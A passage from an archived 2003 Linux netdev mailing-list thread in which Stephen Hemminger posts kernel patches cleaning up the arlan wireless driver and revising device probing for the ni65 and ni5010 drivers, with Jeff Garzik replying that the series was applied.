tx_last_cleared; - volatile u_char under_tx; volatile int retransmissions; volatile int tx_chain_active; volatile int timer_chain_active; @@ -395,7 +376,6 @@ volatile int waiting_command_mask; volatile int card_polling_interval; volatile int last_command_buff_free_time; - volatile int numResets; volatile int under_reset; volatile int under_config; volatile int rx_command_given; From shemminger@osdl.org Thu Sep 25 16:02:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 16:02:17 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PN28Fx002411 for ; Thu, 25 Sep 2003 16:02:08 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8PN1l111625; Thu, 25 Sep 2003 16:01:47 -0700 Date: Thu, 25 Sep 2003 16:00:26 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (3/8) arlan -- get rid of unnecessary casts. Message-Id: <20030925160026.28be8531.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 256 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 8688 Lines: 266 Get rid of unneeded casts to cleanup readability. diff -Nru a/drivers/net/wireless/arlan-main.c b/drivers/net/wireless/arlan-main.c --- a/drivers/net/wireless/arlan-main.c Thu Sep 25 14:38:31 2003 +++ b/drivers/net/wireless/arlan-main.c Thu Sep 25 14:38:31 2003 @@ -143,7 +143,7 @@ static inline int arlan_drop_tx(struct net_device *dev) { - struct arlan_private *priv = ((struct arlan_private *) dev->priv); + struct arlan_private *priv = dev->priv; priv->stats.tx_errors++; if (priv->Conf->tx_delay_ms) @@ -167,10 +167,9 @@ int arlan_command(struct net_device *dev, int command_p) { - - volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; - struct arlan_conf_stru *conf = ((struct arlan_private *) dev->priv)->Conf; - struct arlan_private *priv = (struct arlan_private *) dev->priv; + struct arlan_private *priv = dev->priv; + volatile struct arlan_shmem *arlan = priv->card; + struct arlan_conf_stru *conf = priv->Conf; int udelayed = 0; int i = 0; long long time_mks = arlan_time(); @@ -510,7 +509,7 @@ static inline void arlan_command_process(struct net_device *dev) { - struct arlan_private *priv = ((struct arlan_private *) dev->priv); + struct arlan_private *priv = dev->priv; int times = 0; while (priv->waiting_command_mask && times < 8) @@ -531,7 +530,7 @@ static inline void arlan_retransmit_now(struct net_device *dev) { - struct arlan_private *priv = ((struct arlan_private *) dev->priv); + struct arlan_private *priv = dev->priv; ARLAN_DEBUG_ENTRY("arlan_retransmit_now"); @@ -570,7 +569,7 @@ static void arlan_registration_timer(unsigned long data) { struct net_device *dev = (struct net_device *) data; - struct arlan_private *priv = (struct arlan_private *) dev->priv; + struct arlan_private *priv = dev->priv; int lostTime = ((int) (jiffies - priv->registrationLastSeen)) * 1000 / HZ; int bh_mark_needed = 0; @@ -671,7 +670,8 @@ static void arlan_print_registers(struct net_device *dev, int line) { - volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; + struct arlan_private *priv = dev->priv; + volatile struct arlan_shmem *arlan = priv->card; u_char hostcpuLock, lancpuLock, controlRegister, cntrlRegImage, txStatus, rxStatus, interruptInProgress, commandByte; @@ -700,7 +700,7 @@ { int i; - struct arlan_private *priv = (struct arlan_private *) dev->priv; + struct arlan_private *priv = dev->priv; volatile struct arlan_shmem *arlan = priv->card; struct arlan_conf_stru *conf = priv->Conf; @@ -803,9 +803,9 @@ static int arlan_hw_config(struct net_device *dev) { - volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; - struct arlan_conf_stru *conf = ((struct arlan_private *) dev->priv)->Conf; - struct arlan_private *priv = (struct arlan_private *) dev->priv; + struct arlan_private *priv = dev->priv; + volatile struct arlan_shmem *arlan = priv->card; + struct arlan_conf_stru *conf = priv->Conf; ARLAN_DEBUG_ENTRY("arlan_hw_config"); @@ -886,8 +886,9 @@ static int arlan_read_card_configuration(struct net_device *dev) { u_char tlx415; - volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; - struct arlan_conf_stru *conf = ((struct arlan_private *) dev->priv)->Conf; + struct arlan_private *priv = dev->priv; + volatile struct arlan_shmem *arlan = priv->card; + struct arlan_conf_stru *conf = priv->Conf; ARLAN_DEBUG_ENTRY("arlan_read_card_configuration"); @@ -1078,7 +1079,8 @@ static int arlan_change_mtu(struct net_device *dev, int new_mtu) { - struct arlan_conf_stru *conf = ((struct arlan_private *) dev->priv)->Conf; + struct arlan_private *priv = dev->priv; + struct arlan_conf_stru *conf = priv->Conf; ARLAN_DEBUG_ENTRY("arlan_change_mtu"); if (new_mtu > 2032) @@ -1167,13 +1169,13 @@ dev->tx_timeout = arlan_tx_timeout; dev->watchdog_timeo = 3*HZ; - ((struct arlan_private *) dev->priv)->irq_test_done = 0; + ap->irq_test_done = 0; arlan_device[num] = dev; - ((struct arlan_private *) arlan_device[num]->priv)->Conf = &(arlan_conf[num]); + ap->Conf = &arlan_conf[num]; - ((struct arlan_private *) dev->priv)->Conf->pre_Command_Wait = 40; - ((struct arlan_private *) dev->priv)->Conf->rx_tweak1 = 30; - ((struct arlan_private *) dev->priv)->Conf->rx_tweak2 = 0; + ap->Conf->pre_Command_Wait = 40; + ap->Conf->rx_tweak1 = 30; + ap->Conf->rx_tweak2 = 0; ARLAN_DEBUG_EXIT("arlan_allocate_device"); return (int) dev; @@ -1217,7 +1219,7 @@ static int arlan_open(struct net_device *dev) { - struct arlan_private *priv = (struct arlan_private *) dev->priv; + struct arlan_private *priv = dev->priv; volatile struct arlan_shmem *arlan = priv->card; int ret = 0; @@ -1228,7 +1230,7 @@ if (ret != 0) return ret; - arlan = ((struct arlan_private *) dev->priv)->card; + arlan = priv->card; ret = request_irq(dev->irq, &arlan_interrupt, 0, dev->name, dev); if (ret) { @@ -1289,7 +1291,7 @@ static int arlan_tx(struct sk_buff *skb, struct net_device *dev) { - struct arlan_private *priv = ((struct arlan_private *) dev->priv); + struct arlan_private *priv = dev->priv; short length; unsigned char *buf; @@ -1326,7 +1328,7 @@ static inline int DoNotReTransmitCrap(struct net_device *dev) { - struct arlan_private *priv = ((struct arlan_private *) dev->priv); + struct arlan_private *priv = dev->priv; if (TXLAST(dev).length < priv->Conf->ReTransmitPacketMaxSize) return 1; @@ -1336,7 +1338,7 @@ static inline int DoNotWaitReTransmitCrap(struct net_device *dev) { - struct arlan_private *priv = ((struct arlan_private *) dev->priv); + struct arlan_private *priv = dev->priv; if (TXLAST(dev).length < priv->Conf->waitReTransmitPacketMaxSize) return 1; @@ -1345,7 +1347,7 @@ static inline void arlan_queue_retransmit(struct net_device *dev) { - struct arlan_private *priv = ((struct arlan_private *) dev->priv); + struct arlan_private *priv = dev->priv; ARLAN_DEBUG_ENTRY("arlan_queue_retransmit"); @@ -1360,7 +1362,7 @@ static inline void RetryOrFail(struct net_device *dev) { - struct arlan_private *priv = ((struct arlan_private *) dev->priv); + struct arlan_private *priv = dev->priv; ARLAN_DEBUG_ENTRY("RetryOrFail"); @@ -1381,7 +1383,7 @@ static void arlan_tx_done_interrupt(struct net_device *dev, int status) { - struct arlan_private *priv = ((struct arlan_private *) dev->priv); + struct arlan_private *priv = dev->priv; ARLAN_DEBUG_ENTRY("arlan_tx_done_interrupt"); @@ -1524,7 +1526,7 @@ char *skbtmp; int i = 0; - struct arlan_private *priv = (struct arlan_private *) dev->priv; + struct arlan_private *priv = dev->priv; volatile struct arlan_shmem *arlan = priv->card; struct arlan_conf_stru *conf = priv->Conf; @@ -1676,7 +1678,7 @@ static void arlan_process_interrupt(struct net_device *dev) { - struct arlan_private *priv = (struct arlan_private *) dev->priv; + struct arlan_private *priv = dev->priv; volatile struct arlan_shmem *arlan = priv->card; u_char rxStatus = READSHMB(arlan->rxStatus); u_char txStatus = READSHMB(arlan->txStatus); @@ -1782,7 +1784,7 @@ static irqreturn_t arlan_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = dev_id; - struct arlan_private *priv = (struct arlan_private *) dev->priv; + struct arlan_private *priv = dev->priv; volatile struct arlan_shmem *arlan = priv->card; u_char rxStatus = READSHMB(arlan->rxStatus); u_char txStatus = READSHMB(arlan->txStatus); @@ -1805,14 +1807,8 @@ static int arlan_close(struct net_device *dev) { - struct arlan_private *priv = (struct arlan_private *) dev->priv; + struct arlan_private *priv = dev->priv; - if (!dev) - { - printk(KERN_CRIT "arlan: No Device\n"); - return 0; - } - priv = (struct arlan_private *) dev->priv; if (!priv) { printk(KERN_CRIT "arlan: No Device priv \n"); @@ -1850,8 +1846,8 @@ static struct net_device_stats *arlan_statistics(struct net_device *dev) { - struct arlan_private *priv = (struct arlan_private *) dev->priv; - volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; + struct arlan_private *priv = dev->priv; + volatile struct arlan_shmem *arlan = priv->card; ARLAN_DEBUG_ENTRY("arlan_statistics"); @@ -1880,8 +1876,9 @@ static void arlan_set_multicast(struct net_device *dev) { - volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; - struct arlan_conf_stru *conf = ((struct arlan_private *) dev->priv)->Conf; + struct arlan_private *priv = dev->priv; + volatile struct arlan_shmem *arlan = priv->card; + struct arlan_conf_stru *conf = priv->Conf; int board_conf_needed = 0; From shemminger@osdl.org Thu Sep 25 16:02:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 16:02:17 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PN27Fx002407 for ; Thu, 25 Sep 2003 16:02:08 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8PN1k111611; Thu, 25 Sep 2003 16:01:46 -0700 Date: Thu, 25 Sep 2003 15:59:51 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (4/8) arlan -- trailing semicolons. Message-Id: <20030925155951.32eeba17.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 255 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 2259 Lines: 89 Get rid of extra trailing semicolons diff -Nru a/drivers/net/wireless/arlan-main.c b/drivers/net/wireless/arlan-main.c --- a/drivers/net/wireless/arlan-main.c Thu Sep 25 14:44:10 2003 +++ b/drivers/net/wireless/arlan-main.c Thu Sep 25 14:44:10 2003 @@ -114,7 +114,7 @@ struct timeval timev; do_gettimeofday(&timev); return ((long long) timev.tv_sec * 1000000 + timev.tv_usec); -}; +} #ifdef ARLAN_ENTRY_EXIT_DEBUGGING #define ARLAN_DEBUG_ENTRY(name) \ @@ -162,7 +162,7 @@ netif_wake_queue (dev); } return 1; -}; +} int arlan_command(struct net_device *dev, int command_p) @@ -314,7 +314,7 @@ if (priv->tx_command_given || priv->rx_command_given) { printk(KERN_ERR "%s: Reset under tx or rx command \n", dev->name); - }; + } netif_stop_queue (dev); if (arlan_debug & ARLAN_DEBUG_RESET) printk(KERN_ERR "%s: Doing chip reset\n", dev->name); @@ -407,7 +407,7 @@ { priv->waiting_command_mask &= ~ARLAN_COMMAND_TBUSY_CLEAR; netif_wake_queue (dev); - }; + } } else if (priv->waiting_command_mask & ARLAN_COMMAND_TX) { @@ -505,7 +505,7 @@ ARLAN_DEBUG_EXIT("arlan_command"); return 2; -}; +} static inline void arlan_command_process(struct net_device *dev) { @@ -616,7 +616,7 @@ jiffies - priv->tx_last_sent > 5*HZ ){ arlan_command(dev, ARLAN_COMMAND_CLEAN_AND_RESET); priv->tx_last_cleared = jiffies; - }; + } } @@ -1018,7 +1018,7 @@ if (check_mem_region(virt_to_phys((void *)memaddr),0x2000 )){ // printk(KERN_WARNING "arlan: memory region %lx excluded from probing \n",virt_to_phys((void*)memaddr)); return -ENODEV; - }; + } memcpy_fromio(tempBuf, arlan->textRegion, 29); tempBuf[30] = 0; @@ -1358,7 +1358,7 @@ priv->ReTransmitRequested++; ARLAN_DEBUG_EXIT("arlan_queue_retransmit"); -}; +} static inline void RetryOrFail(struct net_device *dev) { diff -Nru a/drivers/net/wireless/arlan-proc.c b/drivers/net/wireless/arlan-proc.c --- a/drivers/net/wireless/arlan-proc.c Thu Sep 25 14:44:10 2003 +++ b/drivers/net/wireless/arlan-proc.c Thu Sep 25 14:44:10 2003 @@ -108,7 +108,7 @@ default: return "ERROR unknown Diagnostic info reply code "; } -}; +} static const char *arlan_hardware_type_string(struct net_device *dev) { From jgarzik@pobox.com Thu Sep 25 16:30:48 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 16:30:56 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PNUlFx009155 for ; Thu, 25 Sep 2003 16:30:48 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33085 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A2fZO-0005qv-0N; Fri, 26 Sep 2003 00:30:46 +0100 Message-ID: <3F737A9B.9010809@pobox.com> Date: Thu, 25 Sep 2003 19:30:35 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: netdev@oss.sgi.com Subject: Re: [PATCH] (1/8) arlan -- merge arlan-proc with main code References: <20030925155927.21904bf3.shemminger@osdl.org> In-Reply-To: <20030925155927.21904bf3.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 258 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 23 Lines: 3 patch series applied From shemminger@osdl.org Thu Sep 25 17:19:46 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 17:19:51 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q0JjFx012598 for ; Thu, 25 Sep 2003 17:19:46 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8Q0Jd128014; Thu, 25 Sep 2003 17:19:39 -0700 Date: Thu, 25 Sep 2003 17:10:37 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (1/6) revised network device probing. Message-Id: <20030925171037.18854ac3.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 259 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 3553 Lines: 124 This is a revised version of Al Viro's net device patchset and is updated to apply against the current 2.6 BK tree. It adds a second probe list for network devices that are compiled into the kernel, but allocate their own network device rather than being handed a device. Also restores the 2.4 behaviour where it was possible to configure the second ethernet (via command line) without finding the first. It is part of the incremental changes to have all network devices using dynamic allocation. diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Tue Sep 23 12:56:25 2003 +++ b/drivers/net/Space.c Tue Sep 23 12:56:25 2003 @@ -111,6 +111,11 @@ int status; /* non-zero if autoprobe has failed */ }; +struct devprobe2 { + struct net_device *(*probe)(int unit); + int status; /* non-zero if autoprobe has failed */ +}; + /* * probe_list walks a list of probe functions and calls each so long * as a non-zero ioaddr is given, or as long as it hasn't already failed @@ -136,6 +141,21 @@ return -ENODEV; } +static int __init probe_list2(int unit, struct devprobe2 *p, int autoprobe) +{ + struct net_device *dev; + for (; p->probe; p++) { + if (autoprobe && p->status) + continue; + dev = p->probe(unit); + if (!IS_ERR(dev)) + return 0; + if (autoprobe) + p->status = PTR_ERR(dev); + } + return -ENODEV; +} + /* * This is a bit of an artificial separation as there are PCI drivers * that also probe for EISA cards (in the PCI group) and there are ISA @@ -376,6 +396,16 @@ return err; } + +static void __init ethif_probe2(int unit) +{ + unsigned long base_addr = netdev_boot_base("eth", unit); + + if (base_addr == 1) + return; + + return; /* nothing yet */ +} #ifdef CONFIG_TR /* Token-ring device probe */ @@ -445,9 +475,12 @@ if (trif_probe(num)) break; #endif - for (num = 0; num < 8; ++num) + for (num = 0; num < 8; ++num) { if (ethif_probe(num)) break; + ethif_probe2(num); + } + #ifdef CONFIG_COPS cops_probe(0); cops_probe(1); diff -Nru a/include/linux/netdevice.h b/include/linux/netdevice.h --- a/include/linux/netdevice.h Tue Sep 23 12:56:25 2003 +++ b/include/linux/netdevice.h Tue Sep 23 12:56:25 2003 @@ -498,6 +498,7 @@ extern void probe_old_netdevs(void); extern int netdev_boot_setup_add(char *name, struct ifmap *map); extern int netdev_boot_setup_check(struct net_device *dev); +extern unsigned long netdev_boot_base(const char *prefix, int unit); extern struct net_device *dev_getbyhwaddr(unsigned short type, char *hwaddr); extern void dev_add_pack(struct packet_type *pt); extern void dev_remove_pack(struct packet_type *pt); diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Tue Sep 23 12:56:25 2003 +++ b/net/core/dev.c Tue Sep 23 12:56:25 2003 @@ -375,6 +375,30 @@ return 0; } + +/** + * netdev_boot_base - get address from boot time settings + * @prefix: prefix for network device + * @unit: id for network device + * + * Check boot time settings for the base address of device. + * The found settings are set for the device to be used + * later in the device probing. + * Returns 0 if no settings found. + */ +unsigned long netdev_boot_base(const char *prefix, int unit) +{ + const struct netdev_boot_setup *s = dev_boot_setup; + char name[IFNAMSIZ]; + int i; + + sprintf(name, "%s%d", prefix, unit); + for (i = 0; i < NETDEV_BOOT_SETUP_MAX; i++) + if (!strcmp(name, s[i].name)) + return s[i].map.base_addr; + return 0; +} + /* * Saves at boot time configured settings for any netdevice. */ From shemminger@osdl.org Thu Sep 25 17:20:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 17:20:10 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q0K4Fx012660 for ; Thu, 25 Sep 2003 17:20:04 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8Q0Je128022; Thu, 25 Sep 2003 17:19:40 -0700 Date: Thu, 25 Sep 2003 17:13:31 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (3/6) ni65 -- revised probing Message-Id: <20030925171331.4ac63e55.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 261 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 4334 Lines: 185 From Al Viro's NE14-ni65 patch * switched ni65 to dynamic allocation * ni65: fixed ->irq and ->dma clobbering on autoprob diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Thu Sep 25 16:29:14 2003 +++ b/drivers/net/Space.c Thu Sep 25 16:29:14 2003 @@ -71,7 +71,7 @@ extern int e2100_probe(struct net_device *); extern int ni5010_probe(struct net_device *); extern int ni52_probe(struct net_device *); -extern int ni65_probe(struct net_device *); +extern struct net_device *ni65_probe(int unit); extern int sonic_probe(struct net_device *); extern int SK_init(struct net_device *); extern int seeq8005_probe(struct net_device *); @@ -290,6 +290,10 @@ #ifdef CONFIG_NI52 {ni52_probe, 0}, #endif + {NULL, 0}, +}; + +static struct devprobe2 isa_probes2[] __initdata = { #ifdef CONFIG_NI65 {ni65_probe, 0}, #endif @@ -403,6 +407,7 @@ if (base_addr == 1) return; + probe_list2(unit, isa_probes2, base_addr == 0) && probe_list2(unit, parport_probes, base_addr == 0); } diff -Nru a/drivers/net/ni65.c b/drivers/net/ni65.c --- a/drivers/net/ni65.c Thu Sep 25 16:29:14 2003 +++ b/drivers/net/ni65.c Thu Sep 25 16:29:14 2003 @@ -343,29 +343,64 @@ return 0; } +static void cleanup_card(struct net_device *dev) +{ + struct priv *p = (struct priv *) dev->priv; + disable_dma(dev->dma); + free_dma(dev->dma); + release_region(dev->base_addr, cards[p->cardno].total_size); + ni65_free_buffer(p); +} + +/* set: io,irq,dma or set it when calling insmod */ +static int irq; +static int io; +static int dma; + /* * Probe The Card (not the lance-chip) */ -#ifdef MODULE -static -#endif -int __init ni65_probe(struct net_device *dev) +struct net_device * __init ni65_probe(int unit) { - int *port; + struct net_device *dev = alloc_etherdev(0); static int ports[] = {0x360,0x300,0x320,0x340, 0}; + int *port; + int err = 0; - if (dev->base_addr > 0x1ff) /* Check a single specified location. */ - return ni65_probe1(dev, dev->base_addr); - else if (dev->base_addr > 0) /* Don't probe at all. */ - return -ENXIO; + if (!dev) + return ERR_PTR(-ENOMEM); - for (port = ports; *port; port++) - { - if (ni65_probe1(dev, *port) == 0) - return 0; - } - - return -ENODEV; + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + irq = dev->irq; + dma = dev->dma; + } else { + dev->base_addr = io; + } + + if (dev->base_addr > 0x1ff) { /* Check a single specified location. */ + err = ni65_probe1(dev, dev->base_addr); + } else if (dev->base_addr > 0) { /* Don't probe at all. */ + err = -ENXIO; + } else { + for (port = ports; *port && ni65_probe1(dev, *port); port++) + ; + if (!*port) + err = -ENODEV; + } + if (err) + goto out; + + err = register_netdev(dev); + if (err) + goto out1; + return dev; +out1: + cleanup_card(dev); +out: + free_netdev(dev); + return ERR_PTR(err); } /* @@ -377,6 +412,9 @@ struct priv *p; unsigned long flags; + dev->irq = irq; + dev->dma = dma; + for(i=0;iwatchdog_timeo = HZ/2; dev->get_stats = ni65_get_stats; dev->set_multicast_list = set_multicast_list; - - ether_setup(dev); - return 0; /* everything is OK */ } @@ -1213,12 +1248,7 @@ } #ifdef MODULE -static struct net_device dev_ni65 = { .base_addr = 0x360, .irq = 9, .init = ni65_probe }; - -/* set: io,irq,dma or set it when calling insmod */ -static int irq; -static int io; -static int dma; +static struct net_device *dev_ni65; MODULE_PARM(irq, "i"); MODULE_PARM(io, "i"); @@ -1229,26 +1259,15 @@ int init_module(void) { - dev_ni65.irq = irq; - dev_ni65.dma = dma; - dev_ni65.base_addr = io; - if (register_netdev(&dev_ni65) != 0) - return -EIO; - return 0; + dev_ni65 = ni65_probe(-1); + return IS_ERR(dev_ni65) ? PTR_ERR(dev_ni65) : 0; } void cleanup_module(void) { - struct priv *p; - p = (struct priv *) dev_ni65.priv; - if(!p) - BUG(); - disable_dma(dev_ni65.dma); - free_dma(dev_ni65.dma); - unregister_netdev(&dev_ni65); - release_region(dev_ni65.base_addr,cards[p->cardno].total_size); - ni65_free_buffer(p); - dev_ni65.priv = NULL; + unregister_netdev(dev_ni65); + cleanup_card(dev_ni65); + free_netdev(dev_ni65); } #endif /* MODULE */ From shemminger@osdl.org Thu Sep 25 17:19:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 17:20:04 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q0JsFx012611 for ; Thu, 25 Sep 2003 17:19:55 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8Q0Jm128039; Thu, 25 Sep 2003 17:19:48 -0700 Date: Thu, 25 Sep 2003 17:19:23 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (5/6) ni5010 -- revised network probing Message-Id: <20030925171923.7a2264b0.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 260 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 10988 Lines: 402 from viro NE16-ni5010 * switched ni5010 to dynamic allocation * ni5010: embedded ->priv * ni5010: fixed clobbering ->irq * ni5010: fixed IO before request_region() + make i_pkt_size a stack local only used on rx intr + protect o_pkt_size inside lock window diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Thu Sep 25 16:30:19 2003 +++ b/drivers/net/Space.c Thu Sep 25 16:30:19 2003 @@ -69,7 +69,7 @@ extern int lne390_probe(struct net_device *); extern int ne3210_probe(struct net_device *); extern int e2100_probe(struct net_device *); -extern int ni5010_probe(struct net_device *); +extern struct net_device *ni5010_probe(int unit); extern struct net_device *ni52_probe(int unit); extern struct net_device *ni65_probe(int unit); extern int sonic_probe(struct net_device *); @@ -284,13 +284,13 @@ #ifdef CONFIG_SK_G16 {SK_init, 0}, #endif -#ifdef CONFIG_NI5010 - {ni5010_probe, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#ifdef CONFIG_NI5010 + {ni5010_probe, 0}, +#endif #ifdef CONFIG_NI52 {ni52_probe, 0}, #endif diff -Nru a/drivers/net/ni5010.c b/drivers/net/ni5010.c --- a/drivers/net/ni5010.c Thu Sep 25 16:30:19 2003 +++ b/drivers/net/ni5010.c Thu Sep 25 16:30:19 2003 @@ -82,7 +82,7 @@ #ifndef FULL_IODETECT /* A zero-terminated list of I/O addresses to be probed. */ -static unsigned int ni5010_portlist[] __initdata = +static unsigned int ports[] __initdata = { 0x300, 0x320, 0x340, 0x360, 0x380, 0x3a0, 0 }; #endif @@ -95,13 +95,11 @@ struct ni5010_local { struct net_device_stats stats; int o_pkt_size; - int i_pkt_size; spinlock_t lock; }; /* Index to functions, as function prototypes. */ -extern int ni5010_probe(struct net_device *dev); static int ni5010_probe1(struct net_device *dev, int ioaddr); static int ni5010_open(struct net_device *dev); static int ni5010_send_packet(struct sk_buff *skb, struct net_device *dev); @@ -120,38 +118,58 @@ static void dump_packet(void *buf, int len); static void ni5010_show_registers(struct net_device *dev); +static int io; +static int irq; -int __init ni5010_probe(struct net_device *dev) +struct net_device * __init ni5010_probe(int unit) { + struct net_device *dev = alloc_etherdev(sizeof(struct ni5010_local)); int *port; - int base_addr = dev->base_addr; + int err = 0; - PRINTK2((KERN_DEBUG "%s: Entering ni5010_probe\n", dev->name)); + if (!dev) + return ERR_PTR(-ENOMEM); - SET_MODULE_OWNER(dev); + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + io = dev->base_addr; + irq = dev->irq; + } - if (base_addr > 0x1ff) /* Check a single specified location. */ - return ni5010_probe1(dev, 